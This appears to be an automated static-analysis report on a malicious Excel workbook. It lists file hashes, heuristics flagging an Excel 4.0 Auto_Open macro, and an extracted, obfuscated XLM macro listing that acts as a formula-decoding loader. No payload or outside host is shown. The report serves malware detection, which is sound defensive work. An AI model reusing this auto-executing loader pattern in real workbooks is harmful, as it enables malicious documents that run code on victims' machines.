Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 618ce732574f7f0d…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:43:02 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 29bf9576086dee9a8264edff8d257957 SHA-1: 4d0e1730ae4794d954a524f57ef014512fabe757 SHA-256: 618ce732574f7f0d684e1ca2a623d637a1ffe73a0b8e2303858ac76b8499edd9
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6533 bytes
SHA-256: e45caf28531db4f28c1957a507f54fbedd487183f029d81a5b21702b6ce1597f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  LbharRJqb
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A149 
' 0018     23 LABEL : Cell Value, String Constant - BSkdjRUk len=0 
' 0018     27 LABEL : Cell Value, String Constant - bXSxfITOzdKZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - CExgOpj len=0 
' 0018     20 LABEL : Cell Value, String Constant - COePU len=0 
' 0018     27 LABEL : Cell Value, String Constant - DERSTuGJaMyM len=0 
' 0018     25 LABEL : Cell Value, String Constant - EaGsTxhoHD len=0 
' 0018     20 LABEL : Cell Value, String Constant - eRDYh len=0 
' 0018     24 LABEL : Cell Value, String Constant - fbfnjpdwq len=0 
' 0018     24 LABEL : Cell Value, String Constant - fXLDzYlNL len=0 
' 0018     27 LABEL : Cell Value, String Constant - gghPJNrCntjO len=0 
' 0018     23 LABEL : Cell Value, String Constant - gnKQWwqN len=0 
' 0018     20 LABEL : Cell Value, String Constant - hCMcc len=0 
' 0018     24 LABEL : Cell Value, String Constant - lbmsbtlKg len=0 
' 0018     24 LABEL : Cell Value, String Constant - oNRbYjzSN len=0 
' 0018     23 LABEL : Cell Value, String Constant - oOKHJqcY len=0 
' 0018     22 LABEL : Cell Value, String Constant - qEGmTJu len=0 
' 0018     23 LABEL : Cell Value, String Constant - ROlGyEZu len=0 
' 0018     20 LABEL : Cell Value, String Constant - wYUSJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - xzBJP len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZNunLvM len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  LbharRJqb,A65,"SET.NAME("COePU",VALUE("0"))",""
'  LbharRJqb,A70,"SET.NAME("CExgOpj",COePU)",""
'  LbharRJqb,A74,"SET.NAME("lbmsbtlKg",COePU)",""
'  LbharRJqb,A79,"SET.NAME("DERSTuGJaMyM",COUNTA(fXLDzYlNL))",""
'  LbharRJqb,A83,"SET.NAME("qEGmTJu",COUNTA(eRDYh))",""
'  LbharRJqb,A86,[],""
'  LbharRJqb,A88,"SET.NAME("ZNunLvM","")",""
'  LbharRJqb,A92,"CExgOpj",""
'  LbharRJqb,A96,"SET.NAME("xzBJP",HLOOKUP("*",fXLDzYlNL,CExgOpj,FALSE))",""
'  LbharRJqb,A99,"BSkdjRUk",""
'  LbharRJqb,A102,"SET.NAME("ROlGyEZu",COePU)",""
'  LbharRJqb,A105,[],""
'  LbharRJqb,A109,"ROlGyEZu",""
'  LbharRJqb,A112,"EaGsTxhoHD",""
'  LbharRJqb,A117,"gnKQWwqN",""
'  LbharRJqb,A122,"hCMcc",""
'  LbharRJqb,A124,"SET.NAME("bXSxfITOzdKZ",VALUE(HLOOKUP("*",eRDYh,hCMcc,FALSE)))",""
'  LbharRJqb,A127,"wYUSJ",""
'  LbharRJqb,A129,"ZNunLvM",""
'  LbharRJqb,A132,"lbmsbtlKg",""
'  LbharRJqb,A135,NEXT(),""
'  LbharRJqb,A137,"fbfnjpdwq",""
'  LbharRJqb,A139,"SET.NAME("f",INT(T(FORMULA(T(ZNunLvM)&"",""&T(fbfnjpdwq)))))",""
'  LbharRJqb,A141,"oOKHJqcY",""
'  LbharRJqb,A145,NEXT(),""
'  LbharRJqb,A147,RETURN(),""
'  LbharRJqb,A169,"SET.NAME("gghPJNrCntjO",A65)",""
'  LbharRJqb,A172,"fXLDzYlNL",""
'  LbharRJqb,A174,"SET.NAME("eRDYh",R95C15)",""
'  LbharRJqb,A176,"SET.NAME("oOKHJqcY",184)",""
'  LbharRJqb,A181,"SET.NAME("oNRbYjzSN",1)",""
'  LbharRJqb,A183,gghPJNrCntjO(),""
'  LbharRJqb,A184,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.